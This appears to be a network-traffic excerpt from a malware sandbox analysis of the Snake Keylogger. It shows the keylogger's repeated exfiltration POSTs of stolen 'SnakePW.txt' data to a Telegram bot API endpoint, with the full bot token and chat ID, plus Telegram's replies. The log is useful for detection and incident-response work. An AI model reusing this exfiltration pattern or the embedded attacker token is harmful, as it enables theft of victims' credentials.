2022-06-26 07:34:40 UTC	480	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:40 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:40 UTC	480	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67071,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228880,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.5	50219	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:40 UTC	481	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571d554d65 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:40 UTC	481	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 64 35 35 34 64 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571d554d65Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:41 UTC	482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:41 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:41 UTC	482	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67072,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228881,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.5	50220	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:41 UTC	482	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571d8c298d Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:41 UTC	483	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 64 38 63 32 39 38 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571d8c298dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:41 UTC	483	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:41 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:41 UTC	484	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67073,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228881,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.5	50221	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:41 UTC	484	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575719153ffd Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:41 UTC	484	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 31 35 33 66 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575719153ffdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:42 UTC	485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:41 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:42 UTC	485	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67074,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228881,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.5	50222	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:42 UTC	486	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571950daa0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:42 UTC	486	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 35 30 64 61 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571950daa0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:42 UTC	487	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:42 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:42 UTC	487	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67075,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228882,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.5	50223	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:42 UTC	488	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757198a1331 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:42 UTC	488	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 38 61 31 33 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757198a1331Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:42 UTC	488	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:42 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:42 UTC	489	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67076,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228882,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49798	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:50 UTC	48	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756db6275f7 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:50 UTC	49	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 62 36 32 37 35 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756db6275f7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:50 UTC	49	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:50 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:50 UTC	50	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66776,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228770,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.5	50224	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:42 UTC	489	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575719c5ae32 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:42 UTC	490	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 39 63 35 61 65 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575719c5ae32Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:43 UTC	490	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:43 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:43 UTC	490	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67077,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228883,"document":{"file_

